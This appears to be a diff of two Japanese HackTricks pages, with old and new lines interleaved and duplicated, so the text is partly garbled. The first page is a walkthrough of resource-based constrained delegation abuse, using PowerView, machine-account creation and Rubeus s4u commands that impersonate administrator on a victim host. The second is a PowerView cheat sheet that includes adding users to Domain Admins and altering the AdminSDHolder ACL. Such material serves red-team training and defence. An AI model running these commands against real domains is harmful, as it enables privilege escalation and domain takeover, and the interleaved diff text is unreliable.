実際には、**サービス**SPNを持っているであれば、その値がなくても、**任意のユーザーに対してS4U2Self**を実行できますが、**`TrustedToAuthForDelegation`**があると、返されるTGSは**Forwardable**になり、そのフラグがない場合は、返されるTGSは**Forwardable**になりません。
ただし、**S4U2Proxy**で使用される**TGS**が**Forwardable**でない場合、**基本的な制約付き委任**を悪用しようとしても**機能しません**。ただし、**リソースベースの制約付き委任**を悪用しようとする場合は機能します(これは脆弱性ではなく、機能のようです)。
ただし、**S4U2Proxy**で使用される**TGS**が**Forwardable**でない場合、**基本的な制約付き委任を悪用しようとしても機能しません**。しかし、**リソースベースの制約付き委任を悪用しようとしている場合は機能します**(これは脆弱性ではなく、明らかに機能です)。
### 攻撃構造
@ -39,15 +39,15 @@ HackTricksをサポートする他の方法
攻撃者がすでに**被害者コンピュータ**に対して**書き込みに相当する権限**を持っていると仮定します。
1. 攻撃者は、**SPN**を持つアカウントを**侵害**または**作成**します“Service A”。**特別な特権を持たない**_管理者ユーザー_でも、最大で10の**コンピュータオブジェクトMachineAccountQuota**を**作成**し、それに**SPN**を設定できます。したがって、攻撃者は単にコンピュータオブジェクトを作成し、SPNを設定できます。
2. 攻撃者は、被害者コンピュータServiceBに対する**リソースベースの制約付き委任を構成**するために、被害者コンピュータServiceBの**WRITE権限を悪用**します。これにより、ServiceAがその被害者コンピュータServiceBに対して**任意のユーザーを偽装**できるようになります。
3. 攻撃者はRubeusを使用して、特権アクセスを持つユーザーに対して、Service AからService Bへの**完全なS4U攻撃**S4U2SelfおよびS4U2Proxyを実行します。
1. S4U2Self侵害/作成されたアカウントのSPNから):**管理者から私へのTGS**を要求しますForwardableではない
2. S4U2Proxy前述の**ForwardableでないTGS**を使用して、**管理者**から**被害者ホスト**への**TGS**を要求します。
1. 攻撃者は、**SPN**を持つアカウントを**侵害**または**作成**します“Service A”。**特別な特権を持たない**_管理者ユーザー_でも、最大で10の**コンピュータオブジェクトMachineAccountQuota**を**作成**し、それにSPNを設定できます。したがって、攻撃者は単にコンピュータオブジェクトを作成し、SPNを設定できます。
2. 攻撃者は、被害者コンピュータServiceBに対する**リソースベースの制約付き委任を構成**するために、被害者コンピュータServiceBの**WRITE権限を悪用**します。これにより、ServiceAがその被害者コンピュータServiceBに対して**任意のユーザーを偽装**できるようになります。
3. 攻撃者はRubeusを使用して、特権アクセスを持つユーザーに対して、Service AからService Bへの**完全なS4U攻撃**S4U2SelfおよびS4U2Proxyを実行します。
1. S4U2Self侵害/作成されたSPNアカウントから):**管理者から私へのTGS**を要求しますForwardableではない
2. S4U2Proxy前述の**ForwardableでないTGS**を使用して、**管理者から被害者ホスト**への**TGS**を要求します。
3. ForwardableでないTGSを使用していても、リソースベースの制約付き委任を悪用しているため、機能します。
4. 攻撃者は**チケットを渡す**ことができ、ユーザーを**偽装**して**被害者ServiceBにアクセス**できます。
4. 攻撃者は**チケットを渡す**ことができ、ユーザーを**偽装**して**被害者ServiceBにアクセス**できます。
ドメインの**_MachineAccountQuota_**を確認するには、次のコマンドを使用できます:
ドメインの**MachineAccountQuota**を確認するには、次のコマンドを使用できます:
```powershell
Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota
```
@ -63,9 +63,9 @@ New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '
# Check if created
Get-DomainComputer SERVICEA
```
### R**esource-based Constrained Delegationの設定**
### R**esource-based Constrained Delegation**の設定
**activedirectory PowerShellモジュールを使用する**
**activedirectory PowerShellモジュールを使用**
```powershell
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked
@ -87,16 +87,16 @@ msds-allowedtoactonbehalfofotheridentity
```
### 完全なS4U攻撃の実行
まず最初に、パスワード`123456`を持つ新しいコンピュータオブジェクトを作成したので、そのパスワードのハッシュが必要です:
まず第一に、パスワード`123456`を持つ新しいコンピュータオブジェクトを作成したので、そのパスワードのハッシュが必要です:
```bash
.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local
```
これにより、そのアカウントのRC4ハッシュとAESハッシュが表示されます。\
さて、攻撃を実行できます:
攻撃を実行できるようになります:
```bash
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt
```
Rubeusの`/altservice`パラメータを使用して、一度だけリクエストを行うことで、さらに多くのチケットを生成できます。
次のようにして、Rubeusの`/altservice`パラメータを使用して、一度のリクエストで複数のチケットを生成することができます:
```bash
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
```
@ -113,26 +113,26 @@ ls \\victim.domain.local\C$
```
### 異なるサービスチケットの悪用
[**こちらで利用可能なサービスチケットについて学ぶ**](silver-ticket.md#available-services)。
[**こで利用可能なサービスチケットについて学ぶ**](silver-ticket.md#available-services)。
## Kerberos エラー
* **`KDC_ERR_ETYPE_NOTSUPP`**: これは、Kerberos が DES または RC4 を使用しないように構成されており、あなたが単に RC4 ハッシュを提供していることを意味します。Rubeus には、少なくとも AES256 ハッシュを提供してください(または単に rc4、aes128、aes256 ハッシュを提供してください)。例: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
* **`KRB_AP_ERR_SKEW`**: これは、現在のコンピュータの時刻が DC のものと異なり、Kerberos が正常に機能していないことを意味します。
* **`preauth_failed`**: これは、指定されたユーザー名 + ハッシュがログインに使用されていないことを意味します。ハッシュを生成する際にユーザー名に "$" を入れ忘れている可能性があります(`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`
* **`KDC_ERR_BADOPTION`**: これは次のことを意味する可能性があります:
* あなたが詐称しようとしているユーザーが望ましいサービスにアクセスできない(詐称できないか、権限が不十分なため)
* 要求されたサービスが存在しないWinRM のチケットを要求しているが、WinRM が実行されていない場合)
* 作成された偽のコンピュータが脆弱なサーバー上で権限を失い、それらを戻す必要がある
- **`KDC_ERR_ETYPE_NOTSUPP`**: これは、Kerberos が DES または RC4 を使用しないように構成されており、あなたが単に RC4 ハッシュを提供していることを意味します。Rubeus には、少なくとも AES256 ハッシュを提供してください(または rc4、aes128、aes256 ハッシュを提供してください)。例: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
- **`KRB_AP_ERR_SKEW`**: これは、現在のコンピュータの時刻が DC の時刻と異なり、Kerberos が正常に機能していないことを意味します。
- **`preauth_failed`**: これは、指定されたユーザー名 + ハッシュがログインに使用されていないことを意味します。ハッシュを生成する際にユーザー名に "$" を入れ忘れている可能性があります(`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`
- **`KDC_ERR_BADOPTION`**: これは次のことを意味する可能性があります:
- あなたが詐称しようとしているユーザーが望ましいサービスにアクセスできない(詐称できないか、権限が不十分なため)
- 要求されたサービスが存在しないWinRM のチケットを要求しているが、WinRM が実行されていない場合)
- 作成された偽のコンピュータが脆弱なサーバー上で権限を失い、それらを戻す必要がある
## 参考文献
* [https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
* [https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/](https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/)
* [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object)
* [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/)
- [https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
- [https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/](https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/)
- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object)
- [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -142,10 +142,10 @@ ls \\victim.domain.local\C$
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、私たちの独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見す
* **💬 [Discord グループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegram グループ](https://t.me/peass) に参加するか、**Twitter** 🐦 **@carlospolopm** をフォローする
* **HackTricks****HackTricks Cloud** の GitHub リポジトリに PR を提出して、あなたのハッキングトリックを共有する
- **HackTricks で企業を宣伝したい** または **HackTricks を PDF でダウンロードしたい** 場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
- [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れる
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけ
- 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする
- **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出する
</details>

View file

@ -7,19 +7,19 @@
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[@carlospolopm](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
PowerViewの最新バージョンは常にPowerSploitのdevブランチにあります[https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
[**SharpView**](https://github.com/tevora-threat/SharpView)は[**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)の.NETポートです
[**SharpView**](https://github.com/tevora-threat/SharpView)は[**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)の.NETポートです
### クイック列挙
```powershell
@ -75,7 +75,7 @@ Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain D
# Get Forest info
Get-ForestDomain
```
### ユーザー、グループ、コンピューターOU
### ユーザー、グループ、コンピューターOU
```powershell
# Users
## Get usernames and their groups
@ -151,8 +151,8 @@ Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (n
```
### グループポリシーオブジェクト - GPO
攻撃者が**GPOに対して高い特権を持っている**場合、**ユーザーに権限を追加**したり、ホストに**ローカル管理者ユーザーを追加**したり、(直ちに)アクションを実行するために**スケジュールされたタスクを作成**することで、それを悪用して**特権昇格**することができるかもしれません。\
[**詳細やその悪用方法については、このリンクを参照してください**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation)
攻撃者が**GPOに対して高い特権を持っている**場合、**それを悪用して権限昇格**を行うことができる可能性があります。これにより、**ユーザーに権限を追加**したり、ホストに**ローカル管理者ユーザーを追加**したり、(直ちに) **スケジュールされたタスクを作成**してアクションを実行することができます。\
[**詳細やその悪用方法については、このリンクを参照してください**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation).
```powershell
#GPO
Get-DomainGPO | select displayName #Check the names for info
@ -186,7 +186,7 @@ Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType
# Enumerates the machines where a specific domain user/group is a member of a specific local group.
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName
```
**GPOおよびACLの権限を悪用する方法を学ぶ**:
学習してください **GPOとACL上の権限を悪用する方法**:
{% content-ref url="../active-directory-methodology/acl-persistence-abuse/" %}
[acl-persistence-abuse](../active-directory-methodology/acl-persistence-abuse/)
@ -236,7 +236,7 @@ Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between
Get-DomainForeingUser #Get users with privileges in other domains inside the forest
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest
```
### 低いハンギングフルーツ
### 低い果実
```powershell
#Check if any user passwords are set
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
@ -317,7 +317,7 @@ Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=lo
# Add user to 'Domain Admins'
Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain.local
```
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -325,10 +325,10 @@ Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使用して、ゼロからヒーローまでAWSハッキングを学びましょう</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[NFTコレクション**](https://opensea.io/collection/the-peass-family)を発見
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を入手
* **[💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>